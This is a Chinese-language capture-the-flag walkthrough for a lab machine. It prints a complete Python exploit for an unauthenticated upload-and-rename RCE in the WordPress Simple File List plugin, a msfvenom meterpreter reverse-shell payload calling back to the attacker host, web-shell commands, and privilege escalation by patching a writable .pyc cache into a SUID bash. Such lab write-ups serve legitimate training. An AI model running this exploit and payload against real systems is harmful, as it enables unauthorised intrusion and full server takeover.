端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/HMV/fromytoy]
└─$ sudo nmap -p- 192.168.10.54
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-06 17:08 CST
Nmap scan report for 192.168.10.54
Host is up (0.00060s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
MAC Address: 0A:AB:09:75:52:32 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(kali㉿kali)-[~/HMV/fromytoy]
└─$ sudo nmap -sT -sC -sV -p 22,80,3000 192.168.10.54
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-06 17:12 CST
Nmap scan report for 192.168.10.54
Host is up (0.0038s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn't have a title (text/html).
3000/tcp open http Apache httpd 2.4.51 ((Debian))
|_http-title: VOCALOID NEXUS – The Cyber-Digital Soul Archive
|_http-server-header: Apache/2.4.51 (Debian)
|_http-generator: WordPress 6.9
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
MAC Address: 0A:AB:09:75:52:32 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.87 seconds

web 渗透

发现开放的 80 和 3000 两个端口起的都是 web 服务,其中 3000 端口的 web 探测出来是 Wordpress ,还有一些 robots 信息。

先进入 80 端口,发现是个空白页面,那就进入 3000 端口:

image1

发现页面的最下面有一个 /wp-content/plugins/simple-file-list/ ,猜测是给的 web 路径的提示,尝试访问这个路径,发现其确实存在。

image2

上面说 simple-file-list 是个插件,那这个插件就可能存在已知的漏洞,去网上进行搜索。

搜索发现,该插件存在一个 RCE 的漏洞,CVE-2025-34085

漏洞利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#!/usr/bin/env python3
# Exploit for CVE-2025-34085
# By Mrj Haxcore

banner = r"""
_______ ________ ___ ___ ___ _____ ____ _ _ ___ ___ _____
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| |___ \| || | / _ \ / _ \| ____|
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ __) | || |_| | | | (_) | |__
| | \ \/ / | __| |______| / /| | | |/ /|___ \ |______| |__ <|__ _| | | |> _ <|___ \
| |____ \ / | |____ / /_| |_| / /_ ___) | ___) | | | | |_| | (_) |___) |
\_____| \/ |______| |____|\___/____|____/ |____/ |_| \___/ \___/|____/

CVE-2025-34085 Unauthenticated RCE Exploit
Coded by Mrj Haxcore
"""

import requests
import hashlib
import time
import random
import string
import sys
import uuid

def rand_str(n=8):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))

def generate_payload():
with open('payload','br') as f:
payload = f.read()
print(payload)
return payload

def upload_shell(target, filename, payload):
boundary = f"----WebKitFormBoundary{uuid.uuid4().hex[:16]}"
upload_url = f"{target}/wp-content/plugins/simple-file-list/ee-upload-engine.php"
upload_dir = "/wp-content/uploads/simple-file-list/"
timestamp = str(int(time.time()))
token = hashlib.md5(f'unique_salt{timestamp}'.encode()).hexdigest()

#php_payload = f"<?php {payload} ?>"
#fake_file = php_payload.encode()
fake_file = payload
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="eeSFL_ID"\r\n\r\n'
f"1\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="eeSFL_FileUploadDir"\r\n\r\n'
f"{upload_dir}\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="eeSFL_Timestamp"\r\n\r\n'
f"{timestamp}\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="eeSFL_Token"\r\n\r\n'
f"{token}\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="file"; filename="{filename}.png"\r\n'
f"Content-Type: image/png\r\n\r\n"
).encode() + fake_file + f"\r\n--{boundary}--\r\n".encode()

headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Referer": f"{target}/wp-admin",
"Origin": target,
"Accept": "*/*"
}

print(f"[+] Uploading shell as {filename}.png...")
try:
r = requests.post(upload_url, data=body, headers=headers, timeout=10)
except Exception as e:
print(f"[-] Upload request failed: {e}")
return False

if r.status_code == 200 and "SUCCESS" in r.text:
print("[+] Upload successful.")
return True
else:
print(f"[-] Upload failed. Response code: {r.status_code}")
return False

def rename_shell(target, filename):
url = f"{target}/wp-content/plugins/simple-file-list/ee-file-engine.php"
extensions = ['php', 'php5', 'phtml', 'phar', 'php3', 'php4', 'pHp']

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
'Referer': f'{target}/wp-admin',
'Origin': target,
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest',
'Accept': '*/*'
}

for ext in extensions:
#new_name = f"{filename}.{ext}"
new_name = filename
data = {
'eeSFL_ID': '1',
'eeListFolder': '/',
'eeFileOld': f"{filename}.png",
'eeFileAction': f"Rename|{new_name}"
}

print(f"[+] Trying to rename to: {new_name}...")
try:
r = requests.post(url, data=data, headers=headers, timeout=10)
except Exception as e:
print(f"[-] Rename request failed: {e}")
continue

if r.status_code == 200:
print(f"[+] Rename successful: {new_name}")
return new_name
else:
print(f"[-] Rename failed. Response code: {r.status_code}")

print("[-] All rename attempts failed.")
return None

def trigger_shell(target, filename):
url = f"{target}/wp-content/uploads/simple-file-list/{filename}"
print(f"[+] Triggering shell: {url}?cmd=id")

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Referer": target,
}

try:
r = requests.get(url, params={"cmd": "id"}, headers=headers, timeout=10)
except Exception as e:
print(f"[-] Shell trigger failed: {e}")
return

if r.status_code == 200:
print("[+] Shell output:")
print(r.text.strip())
else:
print(f"[-] Shell returned HTTP {r.status_code}")

def main():
print(banner)
if len(sys.argv) != 2:
print(f"Usage: python3 {sys.argv[0]} http://target.site")
sys.exit(1)

target = sys.argv[1].rstrip('/')
filename = rand_str()
payload = generate_payload()

if upload_shell(target, filename, payload):
new_filename = rename_shell(target, filename)
if new_filename:
trigger_shell(target, new_filename)

if __name__ == "__main__":
main()

该漏洞可使我们上传任意文件,从而获得 web shell。

但获得 web shell 之后,尝试使用了多种命令行的方法进行反弹 shell ,都没有成功。

那就用 msfvenom 生成了一个反弹 shell 的木马:

1
2
┌──(kali㉿kali)-[~/HMV/fromytoy]
└─$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.10.100 LPORT=4444 -f elf -o payload

上传 web shell 和该 ELF 木马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(kali㉿kali)-[~/HMV/fromytoy]
└─$ python3 exp.py http://192.168.10.54:3000

_______ ________ ___ ___ ___ _____ ____ _ _ ___ ___ _____
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| |___ \| || | / _ \ / _ \| ____|
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ __) | || |_| | | | (_) | |__
| | \ \/ / | __| |______| / /| | | |/ /|___ \ |______| |__ <|__ _| | | |> _ <|___ \
| |____ \ / | |____ / /_| |_| / /_ ___) | ___) | | | | |_| | (_) |___) |
\_____| \/ |______| |____|\___/____|____/ |____/ |_| \___/ \___/|____/

CVE-2025-34085 Unauthenticated RCE Exploit
Coded by Mrj Haxcore

[+] Uploading shell as troijqv8.png...
[+] Upload successful.
[+] Trying to rename to: troijqv8.php...
[+] Rename successful: troijqv8.php
[+] Triggering shell: http://192.168.10.54:3000/wp-content/uploads/simple-file-list/troijqv8.php?cmd=id
[+] Shell output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)


┌──(kali㉿kali)-[~/HMV/fromytoy]
└─$ python3 exp.py http://192.168.10.54:3000

_______ ________ ___ ___ ___ _____ ____ _ _ ___ ___ _____
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| |___ \| || | / _ \ / _ \| ____|
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ __) | || |_| | | | (_) | |__
| | \ \/ / | __| |______| / /| | | |/ /|___ \ |______| |__ <|__ _| | | |> _ <|___ \
| |____ \ / | |____ / /_| |_| / /_ ___) | ___) | | | | |_| | (_) |___) |
\_____| \/ |______| |____|\___/____|____/ |____/ |_| \___/ \___/|____/

CVE-2025-34085 Unauthenticated RCE Exploit
Coded by Mrj Haxcore

b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\xfa\x00\x00\x00\x00\x00\x00\x00|\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x001\xffj\tX\x99\xb6\x10H\x89\xd6M1\xc9j"AZj\x07Z\x0f\x05H\x85\xc0xQj\nAYPj)X\x99j\x02_j\x01^\x0f\x05H\x85\xc0x;H\x97H\xb9\x02\x00\x11\\\xc0\xa8\ndQH\x89\xe6j\x10Zj*X\x0f\x05YH\x85\xc0y%I\xff\xc9t\x18Wj#Xj\x00j\x05H\x89\xe7H1\xf6\x0f\x05YY_H\x85\xc0y\xc7j<Xj\x01_\x0f\x05^j~Z\x0f\x05H\x85\xc0x\xed\xff\xe6'
[+] Uploading shell as 7gp7zn84.png...
[+] Upload successful.
[+] Trying to rename to: 7gp7zn84...
[+] Rename successful: 7gp7zn84
[+] Triggering shell: http://192.168.10.54:3000/wp-content/uploads/simple-file-list/7gp7zn84?cmd=id
[+] Shell output:
ELF>x@@@8@@ú|1ÿj X™¶H‰ÖM1Éj"AZjZH…ÀxQj
AYPj)X™j_j^H…Àx;H—H¹\À¨
dQH‰æjZj*XYH…Ày%IÿÉt▒Wj#XjjH‰çH1öYY_H…ÀyÇj<Xj_^j~ZH…Àxíÿæ

查看文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿kali)-[~/HMV/fromytoy]
└─$ curl 'http://192.168.10.54:3000/wp-content/uploads/simple-file-list/troijqv8.php?cmd=ls%20-liah'
total 672K
785522 drwxr-xr-x 2 www-data www-data 4.0K Feb 6 09:31 .
785394 drwxr-xr-x 4 www-data www-data 4.0K Jan 20 12:36 ..
785529 -rw-r--r-- 1 www-data www-data 0 Feb 1 08:05 123.txt
785533 -rw-r--r-- 1 www-data www-data 4 Feb 2 01:54 456.txt
785538 -rw-r--r-- 1 www-data www-data 250 Feb 6 09:27 7gp7zn84
785527 -rw-r--r-- 1 www-data www-data 30 Feb 1 07:52 7z26z9v3.php
785524 -rw-r--r-- 1 www-data www-data 597K Jan 20 04:01 Simple-File-List.pdf
785532 -rw-r--r-- 1 www-data www-data 5.4K Feb 1 08:10 fbs8aij3.php
785536 -rwxrwxrwx 1 www-data www-data 250 Feb 2 02:16 gwuagnbc
785523 -rw-r--r-- 1 www-data www-data 977 Jan 20 04:01 index.html
785528 -rw-r--r-- 1 www-data www-data 30 Feb 1 07:59 iukrw2w3.php
785535 -rw-r--r-- 1 www-data www-data 760 Feb 2 02:10 n6i0i9yh.php
785534 -rw-r--r-- 1 www-data www-data 26 Feb 2 02:29 test.123
785537 -rw-r--r-- 1 www-data www-data 66 Feb 2 02:33 test.txt
785539 -rw-r--r-- 1 www-data www-data 30 Feb 6 09:31 troijqv8.php
785530 -rw-r--r-- 1 www-data www-data 6.5K Feb 1 08:09 vz89thx0.php
785531 -rw-r--r-- 1 www-data www-data 6.5K Feb 1 08:10 z4iayab4.php

┌──(kali㉿kali)-[~/HMV/fromytoy]
└─$ curl 'http://192.168.10.54:3000/wp-content/uploads/simple-file-list/troijqv8.php?cmd=file%207g*'
7gp7zn84: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

chmod 赋予木马执行权限(注意用 chmod 777,因为该机器用 chmod +x 好像会报错):

1
2
┌──(kali㉿kali)-[~/HMV/fromytoy]
└─$ curl 'http://192.168.10.54:3000/wp-content/uploads/simple-file-list/troijqv8.php?cmd=chmod%20+x%207g*'

再次查看权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~/HMV/fromytoy]
└─$ curl 'http://192.168.10.54:3000/wp-content/uploads/simple-file-list/troijqv8.php?cmd=ls%20-liah'
total 672K
785522 drwxr-xr-x 2 www-data www-data 4.0K Feb 6 09:31 .
785394 drwxr-xr-x 4 www-data www-data 4.0K Jan 20 12:36 ..
785529 -rw-r--r-- 1 www-data www-data 0 Feb 1 08:05 123.txt
785533 -rw-r--r-- 1 www-data www-data 4 Feb 2 01:54 456.txt
785538 -rwxrwxrwx 1 www-data www-data 250 Feb 6 09:27 7gp7zn84
785527 -rw-r--r-- 1 www-data www-data 30 Feb 1 07:52 7z26z9v3.php
785524 -rw-r--r-- 1 www-data www-data 597K Jan 20 04:01 Simple-File-List.pdf
785532 -rw-r--r-- 1 www-data www-data 5.4K Feb 1 08:10 fbs8aij3.php
785536 -rwxrwxrwx 1 www-data www-data 250 Feb 2 02:16 gwuagnbc
785523 -rw-r--r-- 1 www-data www-data 977 Jan 20 04:01 index.html
785528 -rw-r--r-- 1 www-data www-data 30 Feb 1 07:59 iukrw2w3.php
785535 -rw-r--r-- 1 www-data www-data 760 Feb 2 02:10 n6i0i9yh.php
785534 -rw-r--r-- 1 www-data www-data 26 Feb 2 02:29 test.123
785537 -rw-r--r-- 1 www-data www-data 66 Feb 2 02:33 test.txt
785539 -rw-r--r-- 1 www-data www-data 30 Feb 6 09:31 troijqv8.php
785530 -rw-r--r-- 1 www-data www-data 6.5K Feb 1 08:09 vz89thx0.php
785531 -rw-r--r-- 1 www-data www-data 6.5K Feb 1 08:10 z4iayab4.php

运行该木马:

1
2
┌──(kali㉿kali)-[~/HMV/fromytoy]
└─$ curl 'http://192.168.10.54:3000/wp-content/uploads/simple-file-list/troijqv8.php?cmd=./7g*'

本地用 metasploit 监听:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
┌──(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: You can upgrade a shell to a Meterpreter session on many
platforms using sessions -u <session_id>


Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018 es: 0018 ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)


Stack: 90909090990909090990909090
90909090990909090990909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.09090900
90909090.90909090.09090900
..........................
cccccccccccccccccccccccccc
cccccccccccccccccccccccccc
ccccccccc.................
cccccccccccccccccccccccccc
cccccccccccccccccccccccccc
.................ccccccccc
cccccccccccccccccccccccccc
cccccccccccccccccccccccccc
..........................
ffffffffffffffffffffffffff
ffffffff..................
ffffffffffffffffffffffffff
ffffffff..................
ffffffff..................
ffffffff..................


Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing


=[ metasploit v6.4.56-dev ]
+ -- --=[ 2505 exploits - 1291 auxiliary - 431 post ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search linux/x64/meterpreter/reverse_shell
[-] No results from search
msf6 > search linux/x64/meterpreter/reverse_tcp

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/linux/x64/meterpreter/reverse_tcp . normal No Linux Mettle x64, Reverse TCP Stager


Interact with a module by name or index. For example info 0, use 0 or use payload/linux/x64/meterpreter/reverse_tcp

msf6 > use 0
msf6 payload(linux/x64/meterpreter/reverse_tcp) > show options

Module options (payload/linux/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


View the full module info with the info, or info -d command.

msf6 payload(linux/x64/meterpreter/reverse_tcp) > set LHOST 192.168.10.100
LHOST => 192.168.10.100
msf6 payload(linux/x64/meterpreter/reverse_tcp) > exploit
[*] Payload Handler Started as Job 0
msf6 payload(linux/x64/meterpreter/reverse_tcp) >
[*] Started reverse TCP handler on 192.168.10.100:4444
[*] Sending stage (3045380 bytes) to 192.168.10.54
[*] Meterpreter session 1 opened (192.168.10.100:4444 -> 192.168.10.54:49146) at 2026-02-06 17:34:08 +0800

可以看到,在 metasploit 上收到了反弹回来的 meterpreter。

获取立足点

查看 sessions,并启动获取到的 shell:

image3

我们目前是 www-data 用户, 并且发现 /home 目录下没有任何用户,猜测这是用 docker 启动的一个容器,我们要先找找信息。

发现在拿到 shell 的上一级目录下,有一个属于 miku 用户的 server_backup_info.txt 文件,且我们不可读。

推测我们需要想办法读取该文件,里面可能藏着 miku 用户的密码。

先查看属于 miku 用户的文件有哪些:

1
2
3
find / -user miku 2>/dev/null
/usr/local/lib/.sys_log_rotator
/var/www/html/wp-content/uploads/server_backup_info.txt

发现了两个文件,第一个 .sys_log_rotator 是个 ELF 文件,可以执行。

执行看看:

1
2
3
4
5
6
7
8
9
10
/usr/local/lib/.sys_log_rotator -h
Usage: .sys_log_rotator [options] [file ...]

Reverse lines characterwise.

Options:
-h, --help display this help
-V, --version display version

For more details see rev(1).

说是需要一个 file ,给它 /etc/passwd :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/usr/local/lib/.sys_log_rotator /etc/passwd
hsab/nib/:toor/:toor:0:0:x:toor
nigolon/nibs/rsu/:nibs/rsu/:nomead:1:1:x:nomead
nigolon/nibs/rsu/:nib/:nib:2:2:x:nib
nigolon/nibs/rsu/:ved/:sys:3:3:x:sys
cnys/nib/:nib/:cnys:43556:4:x:cnys
nigolon/nibs/rsu/:semag/rsu/:semag:06:5:x:semag
nigolon/nibs/rsu/:nam/ehcac/rav/:nam:21:6:x:nam
nigolon/nibs/rsu/:dpl/loops/rav/:pl:7:7:x:pl
nigolon/nibs/rsu/:liam/rav/:liam:8:8:x:liam
nigolon/nibs/rsu/:swen/loops/rav/:swen:9:9:x:swen
nigolon/nibs/rsu/:pcuu/loops/rav/:pcuu:01:01:x:pcuu
nigolon/nibs/rsu/:nib/:yxorp:31:31:x:yxorp
nigolon/nibs/rsu/:www/rav/:atad-www:33:33:x:atad-www
nigolon/nibs/rsu/:spukcab/rav/:pukcab:43:43:x:pukcab
nigolon/nibs/rsu/:tsil/rav/:reganaM tsiL gniliaM:83:83:x:tsil
nigolon/nibs/rsu/:dcri/nur/:dcri:93:93:x:cri
nigolon/nibs/rsu/:stang/bil/rav/:)nimda( metsyS gnitropeR-guB stanG:14:14:x:stang
nigolon/nibs/rsu/:tnetsixenon/:ydobon:43556:43556:x:ydobon
nigolon/nibs/rsu/:tnetsixenon/::43556:001:x:tpa_
hs/nib/:ukim/emoh/::0001:0001:x:ukim

发现它把文件内容的每一行给翻转并输出了。

该文件存在 miku 用户的 SUID 权限,说不定可以读取刚才的 txt 文件,尝试读取:

1
2
3
4
5
6
7
8
9
10
11
ls -liah /usr/local/lib/.sys_log_rotator
432317 -rwsr-xr-x 1 miku miku 15K Jan 20 05:04 /usr/local/lib/.sys_log_rotator
/usr/local/lib/.sys_log_rotator server_backup_info.txt
01-10-5202 :etaD pukcaB
noitacifirev gnidneP :sutatS
:nimdasyS rof etoN
.'yotymorf' tsoh rof slaitnederc yraropmet ot detreveR .deliaf noitator yek HSS ehT
ukim :resU
93_uk1M_di0lac0V :drowssaP

noitacifirev retfa elif siht eteled esaelP :TRELA YTIRUCES

可以看到它倒着输出了miku 用户的 password ,我们再倒回来就好了:

1
2
3
4
┌──(kali㉿kali)-[~/HMV/fromytoy]
└─$ rev
93_uk1M_di0lac0V
V0cal0id_M1ku_39

用这个用户名密码进行 ssh 登录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali㉿kali)-[~/HMV/fromytoy]
└─$ ssh miku@192.168.10.54
Warning: Permanently added '192.168.10.54' (ED25519) to the list of known hosts.
miku@192.168.10.54's password:
Linux fromytoy 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Feb 1 22:02:43 2026 from 192.168.0.109
miku@fromytoy:~$ ls
user.txt
miku@fromytoy:~$ cat user.txt
26d1ebd4ec8c55cc69f190d0d37f6dac


願うことさえ
許されない世界なのかな

miku@fromytoy:~$

拿到了 user flag。

提权

sudo -l 发现当前用户可以执行一个 python 文件:

1
2
3
4
5
6
miku@fromytoy:~$ sudo -l
Matching Defaults entries for miku on fromytoy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User miku may run the following commands on fromytoy:
(ALL) NOPASSWD: /usr/bin/python3 /usr/local/lib/python_scripts/cleanup_task.py

进入该目录查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
miku@fromytoy:~$ cd /usr/local/lib/python_scripts/
miku@fromytoy:/usr/local/lib/python_scripts$ ls -liah
total 20K
303574 drwxr-xr-x 3 root root 4.0K Jan 19 22:50 .
263401 drwxr-xr-x 5 root root 4.0K Jan 19 22:40 ..
303581 -rwxr-xr-x 1 root root 359 Jan 19 22:50 cleanup_task.py
303577 drwxrwxrwx 2 root root 4.0K Feb 1 22:39 __pycache__
303576 -rw-r--r-- 1 root root 97 Jan 19 22:41 system_utils.py
miku@fromytoy:/usr/local/lib/python_scripts$ cat cleanup_task.py
#!/usr/bin/env python3
import sys
import os
import system_utils

def main():
print("[*] Starting system cleanup...")
if os.geteuid() != 0:
print("[-] Error: This script must be run as root.")
sys.exit(1)


system_utils.check_disk_space()
print("[+] Cleanup completed successfully.")

if __name__ == "__main__":
main()
miku@fromytoy:/usr/local/lib/python_scripts$ cat system_utils.py
import os
def check_disk_space():
print("[*] Checking disk usage...")
os.system("df -h")
miku@fromytoy:/usr/local/lib/python_scripts$

可以看到有两个 py 文件,我们可以 sudo 执行的文件会引入 system_utils 这个文件,并执行其中的 check_disk_space 这个函数。

同时,我们还发现,存在一个我们可写的 __pycache__ 文件夹。

可以看看这个文件夹里面有什么:

1
2
3
4
5
miku@fromytoy:/usr/local/lib/python_scripts/__pycache__$ ls -liah
total 12K
303577 drwxrwxrwx 2 root root 4.0K Feb 6 05:00 .
303574 drwxr-xr-x 3 root root 4.0K Jan 19 22:50 ..
290622 -rw-r--r-- 1 root root 333 Feb 6 05:00 system_utils.cpython-39.pyc

可以看到里面有一个 .pyc 文件,这个文件是 python 程序编译后的字节码文件,下次运行同样的 python 程序时,就会直接使用这个 pyc 文件,而不是再编译一次。

我们对当前目录有写权限,意味着我们可以修改这个 pyc 文件的内容,从而执行我们想要执行的内容。

xxd 对该文件进行分析,发现其中有源代码的一些可见字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
miku@fromytoy:/usr/local/lib/python_scripts/__pycache__$ xxd system_utils.cpython-39.pyc 
00000000: 610d 0d0a 0000 0000 65f9 6e69 6100 0000 a.......e.nia...
00000010: e300 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0002 0000 0040 0000 0073 1400 0000 6400 .....@...s....d.
00000030: 6401 6c00 5a00 6402 6403 8400 5a01 6401 d.l.Z.d.d...Z.d.
00000040: 5300 2904 e900 0000 004e 6300 0000 0000 S.)......Nc.....
00000050: 0000 0000 0000 0000 0000 0003 0000 0043 ...............C
00000060: 0000 0073 1600 0000 7400 6401 8301 0100 ...s....t.d.....
00000070: 7401 a002 6402 a101 0100 6400 5300 2903 t...d.....d.S.).
00000080: 4e7a 1a5b 2a5d 2043 6865 636b 696e 6720 Nz.[*] Checking
00000090: 6469 736b 2075 7361 6765 2e2e 2e7a 0564 disk usage...z.d
000000a0: 6620 2d68 2903 da05 7072 696e 74da 026f f -h)...print..o
000000b0: 73da 0673 7973 7465 6da9 0072 0500 0000 s..system..r....
000000c0: 7205 0000 00fa 2d2f 7573 722f 6c6f 6361 r.....-/usr/loca
000000d0: 6c2f 6c69 622f 7079 7468 6f6e 5f73 6372 l/lib/python_scr
000000e0: 6970 7473 2f73 7973 7465 6d5f 7574 696c ipts/system_util
000000f0: 732e 7079 da10 6368 6563 6b5f 6469 736b s.py..check_disk
00000100: 5f73 7061 6365 0200 0000 7304 0000 0000 _space....s.....
00000110: 0108 0172 0700 0000 2902 7203 0000 0072 ...r....).r....r
00000120: 0700 0000 7205 0000 0072 0500 0000 7205 ....r....r....r.
00000130: 0000 0072 0600 0000 da08 3c6d 6f64 756c ...r......<modul
00000140: 653e 0100 0000 7302 0000 0008 01 e>....s......

如果我们先 cp 一个相同的文件,然后用 vim 修改其中的一些字符,再把原来的文件删掉,替换成我们已经修改后的文件,那我们 sudo 执行刚才的 python 文件之后,我们就可以看到结果也已经被修改:

image4

说明修改这个 pyc 文件,从而控制程序执行是可行的。

经过测试发现,我们需要保证修改的字节数和原来的文件的字节数是相同的,不然就会报错。

也就是说,我们可以把原来的 system 执行的内容 df -h 换成字节数相同的内容,这样我们就可以成功执行任意代码了。

在当前目录下写入提权命令:

1
2
3
4
5
6
7
8
miku@fromytoy:/usr/local/lib/python_scripts/__pycache__$ echo 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > dt
miku@fromytoy:/usr/local/lib/python_scripts/__pycache__$ chmod +x dt
miku@fromytoy:/usr/local/lib/python_scripts/__pycache__$ ls -liah
total 16K
303577 drwxrwxrwx 2 root root 4.0K Feb 6 05:11 .
303574 drwxr-xr-x 3 root root 4.0K Jan 19 22:50 ..
290622 -rwxr-xr-x 1 miku miku 42 Feb 6 05:11 dt
290627 -rw-r--r-- 1 miku miku 335 Feb 6 05:06 system_utils.cpython-39.pyc

编辑 system_utils.cpython-39.pyc 的内容,把 df -h 这五个字节改成 ./dt ,同样是五个字节:

image5

接着 sudo 执行:

image6

发现 /tmp 目录下多了一个有 SUID 的 bash ,用 /tmp/bash -p 提权即可:

1
2
3
4
5
6
7
8
9
10
miku@fromytoy:/usr/local/lib/python_scripts/__pycache__$ /tmp/bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
a6c7cf996c275fa5afe6e47bc6f5c79e



Good morning, and in case I don't see you, Good afternoon, Good evening, And good night
bash-5.0#

PS

python3 -m py_compile system_utils.py 可以创建该 py 文件的 .pyc 文件,存在当前目录里的 __pycache__ 目录下。